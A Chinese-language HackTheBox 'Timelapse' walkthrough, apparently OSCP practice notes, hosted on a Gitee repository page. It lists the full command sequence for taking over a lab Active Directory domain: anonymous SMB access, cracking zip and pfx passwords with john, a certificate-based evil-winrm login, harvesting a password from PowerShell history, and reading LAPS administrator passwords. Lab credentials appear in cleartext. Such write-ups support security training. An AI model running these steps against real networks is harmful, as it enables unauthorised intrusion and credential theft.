1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
timelapse.md 6.18 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-12-21 22:20 . finish timelapse

信息收集

端口扫描

nmap -p- -v  -sV -A -sC --min-rate 10000 -Pn 10.10.11.152
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2022-12-14 21:22:26Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Issuer: commonName=dc01.timelapse.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-10-25T14:05:29
| Not valid after:  2022-10-25T14:25:29
| MD5:   e233 a199 4504 0859 013f b9c5 e4f6 91c3
|_SHA-1: 5861 acf7 76b8 703f d01e e25d fc7c 9952 a447 7652
|_ssl-date: 2022-12-14T21:23:59+00:00; +7h59m59s from scanner time.
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49690/tcp open  msrpc             Microsoft Windows RPC
49703/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-12-14T21:23:21
|_  start_date: N/A

得到域控机器名dc01.timelapse.htb,域名timelapse.htb

把域控名配进host

rpc匿名登录但没有权限

smb未授权访问

smbclient --no-pass -L //10.10.11.152

timelapse1

在Shares里找到一个备份文件

smbclient --no-pass //10.10.11.152/Shares

timelapse1

但这个winrm备份压缩包有密码

zip密码爆破

zip2john winrm_backup.zip >1.txt
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
john --show 1.txt

timelapse3

显示有点怪,但应该是supremelegacy

成功解压

unzip -P supremelegacy winrm_backup.zip

谷歌搜索winrm pfx,wadcoms显示把pfx转换成pem后可用evil-winrm连接

how-to-export-certificates-from-windows-for-use-in-apache-nginx-on-linux/

爆破pfx证书密码

sudo apt install john-data
pfx2john legacyy_dev_auth.pfx|tee pfx.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pfx.hash

timelapse3

得到密码thuglegacy。继续转换pem。

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem 

这里要求给pem证书设置密码,我直接设为test123

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.pem 
openssl rsa -in key.pem -out server.key

timelapse5

其中cert.pem包含公钥,server.key是私钥

winrm登录获取user.txt

evil-winrm -i 10.10.11.152 -c cert.pem -k server.key -S

timelapse5

Administrator
babywyrm
Guest
krbtgt
legacyy
payl0ad
sinfulz
svc_deploy
thecybergeek

提权

本机信息收集

上传privescheck没什么利用点,上传SharpHound.exe发现被杀了,无法运行。本地网络监听程序也没有可疑的。只能翻翻文件了。

在C:\Shares\HelpDesk下有几个laps相关的文档和msi安装包

猜测可能与LAPS保存密码相关

powershell历史记录

查看历史记录时发现svc_deploy用户的密码

cat C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

timelapse7

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck                                   
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force                                                       
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)              
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}

读取LAPS密码

尝试winrm登录成功

evil-winrm -i dc01.timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

whoami /groups信息里发现一个TIMELAPSE\LAPS_Readers

timelapse7

但是看hacktricks找的工具LAPSToolkit也被杀了,得另寻办法读密码

timelapse7

谷歌搜索powershell read laps password,发现文章export-laps-passwords-powershell

$Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime $Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime $computers | Export-Csv -path c:\users\danny\desktop"LAPS-$((Get-Date).ToString("MM-dd-yyyy")).csv" -NoTypeInformation

只需要执行

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

timelapse10

evil-winrm -i dc01.timelapse.htb -u administrator -p 'u%79X5wp3B69ZMbw44vFo61k' -S

成功以管理员身份登录

ls -Path c:\users -Recurse -Name root.txt
type c:\users\TRX\Desktop\root.txt

timelapse11

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助